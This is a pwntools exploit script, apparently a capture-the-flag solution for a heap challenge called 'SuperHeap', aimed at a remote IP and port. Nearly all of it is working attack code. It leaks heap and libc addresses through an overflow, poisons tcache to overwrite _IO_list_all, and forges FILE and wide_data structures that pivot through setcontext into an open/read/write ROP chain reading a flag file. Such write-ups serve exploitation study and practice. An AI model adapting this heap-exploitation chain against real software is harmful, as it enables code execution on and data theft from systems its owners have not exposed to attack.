1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165
| from pwn import * import sys import base64 import bookProto_pb2
context.log_level='debug' context.arch='amd64' libc=ELF('./libc.so.6') flag = 1 if flag: p = remote('8.147.134.47', 38396) else: p = process("./SuperHeap")
sa = lambda s,n : p.sendafter(s,n) sla = lambda s,n : p.sendlineafter(s,n) sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() leak = lambda name,addr :log.success(name+"--->"+hex(addr))
message = bookProto_pb2.CTFBook() payload = b''
def add(idx, title=b'', author=b'', isbn=b'',publish_data=b'', price = 0,stock = 0): global payload sla(b'> ', b'1') sla(b': ', str(idx).encode()) message.title = base64.b64encode(title) message.author = base64.b64encode(author) message.isbn = base64.b64encode(isbn) message.publish_date = base64.b64encode(publish_data) message.price = price message.stock = stock payload = message.SerializeToString() sla(b': ', base64.b32encode(payload))
def show(idx): sla(b'> ', b'2') sla(b': ', str(idx).encode())
def delete(idx): sla(b'> ', b'3') sla(b': ', str(idx).encode())
def search(data): sla(b'> ',b'5') sla(b': ', base64.b64encode(data))
def edit(idx, title=b'', author=b'', isbn=b'',publish_data=b'', price = 0,stock = 0): global payload sla(b'> ', b'4') sla(b': ', str(idx).encode()) message.title = base64.b64encode(title) message.author = base64.b64encode(author) message.isbn = base64.b64encode(isbn) message.publish_date = base64.b64encode(publish_data) message.price = price message.stock = stock payload = message.SerializeToString() sla(b': ', base64.b32encode(payload))
add(0, title=b'a'*0x20, author=b'b'*0x20, isbn=b'c'*0x20, publish_data=b'd'*0x20) add(1, title=b'a'*0x20, author=b'b'*0x20, isbn=b'c'*0x20, publish_data=b'd'*0x20) delete(1) edit(0,publish_data=b'd'*0x68+b'e'*8) show(0)
ru(b'e'*8) heap_base = (u64(rc(5).ljust(8,b'\x00')) << 12) - 0x3000
edit(0,publish_data=b'\x00'*0x28 + p64(0x41) + p64(heap_base+0x37d0)+p64(heap_base+0x3800)+p64(heap_base+0x3830)+p64(heap_base+0x3860) +b'\x00'*0x18 + p64(0x31))
add(1, title=b'a'*0x20, author=b'b'*0x20, isbn=b'c'*0x20, publish_data=b'd'*0x20) add(2, title=b'a'*0x30, author=b'b'*0x30, isbn=b'c'*0x30, publish_data=b'd'*0x30) add(3, title=b'a'*0x30, author=b'b'*0x30, isbn=b'c'*0x30, publish_data=b'd'*0x30) add(4, title=b'a'*0x30, author=b'b'*0x30, isbn=b'c'*0x30, publish_data=b'd'*0x30) add(5, title=b'a'*0x30, author=b'b'*0x30, isbn=b'c'*0x30, publish_data=b'd'*0x30) delete(5) delete(4) delete(3) add(6, title=b'a'*0x420)
edit(2, publish_data=b'a'*0x78+b'z'*8) show(2)
ru(b'z'*8) libc.address = u64(rc(6).ljust(8,b'\x00')) - 0x21add0
edit(2,publish_data=b'\x00'*0x38 + p64(0x41) + p64(heap_base+0x3a50)+p64(heap_base+0x3a90)+p64(heap_base+0x3ad0)+p64(heap_base+0x3b10) +b'\x00'*0x18 + p64(0x101))
add(3, title=b'x'*0x30, author=b'y'*0x30, isbn=b'z'*0x30, publish_data=b'1'*0x30) delete(2)
edit(1,title=b'\x00'*0x28 + p64(0x41) +p64(heap_base+0x3860) + p64(heap_base+0x3830) + p64(heap_base+0x3800) + p64(heap_base+0x37d0) + b'\x00'*0x18 + p64(0x41) + p64(heap_base+0x3910) + p64(heap_base+0x3950)+ p64(heap_base+0x3990) + p64(heap_base+0x39d0) + b'\x00'*0x18 + p64(0x41) + p64(libc.sym['_IO_list_all']^((heap_base+0x3000)>>12)))
pop_rdi = libc.address + 0x000000000002a3e5 pop_rsi = libc.address + 0x000000000002be51 pop_rdx_r12 = libc.address + 0x000000000011f2e7 pop_rax = libc.address + 0x0000000000045eb0 ret = libc.address + 0x00000000000f9b02 syscall_ret = libc.address + 0x0000000000091316 magic = 0x0000000000167420 + libc.address _IO_wfile_jumps = libc.sym['_IO_wfile_jumps'] setcontext = libc.sym['setcontext']
_fake_wide_data_addr = heap_base + 0x23b0 rop_addr = heap_base+0x2630
_IO_file = p64(0) + p64(rop_addr) _IO_file = _IO_file.ljust(0x28,b'\x00') _IO_file += p64(1) + p64(0) _IO_file = _IO_file.ljust(0xa0,b'\x00') _IO_file += p64(_fake_wide_data_addr) _IO_file = _IO_file.ljust(0xd8,b'\x00') _IO_file += p64(_IO_wfile_jumps)
wide_data = b'\x00'*0xe0 wide_data += p64(_fake_wide_data_addr + 0xe0) wide_data += b'\x00'*0x60 + p64(magic)
rop = b'flag\x00\x00' rop = rop.ljust(0x20,b'\x00') rop += p64(setcontext + 61) rop = rop.ljust(0xa0,b'\x00') rop += p64(rop_addr + 0xb0) + p64(ret) rop += p64(pop_rdi) + p64(rop_addr) rop += p64(pop_rsi) + p64(0) rop += p64(pop_rax) + p64(2) rop += p64(syscall_ret)
rop += p64(pop_rdi) + p64(3) rop += p64(pop_rsi) + p64(rop_addr + 0x400) rop += p64(pop_rdx_r12) + p64(0x50) + p64(0) rop += p64(pop_rax) + p64(0) rop += p64(syscall_ret)
rop += p64(pop_rdi) + p64(1) rop += p64(pop_rsi) + p64(rop_addr + 0x400) rop += p64(pop_rdx_r12) + p64(0x50) + p64(0) rop += p64(pop_rax) + p64(1) rop += p64(syscall_ret)
add(2,title=b'a'*0x30,author=b'b'*0x30) add(4,title=p64(heap_base+0x3420)+b'\x00'*0x18 + p64(0xfbad2086)+p64(0),author=_IO_file,isbn=wide_data,publish_data=rop)
leak("heap",heap_base) leak("libc",libc.address) sla(b'> ', b'6') p.interactive()
|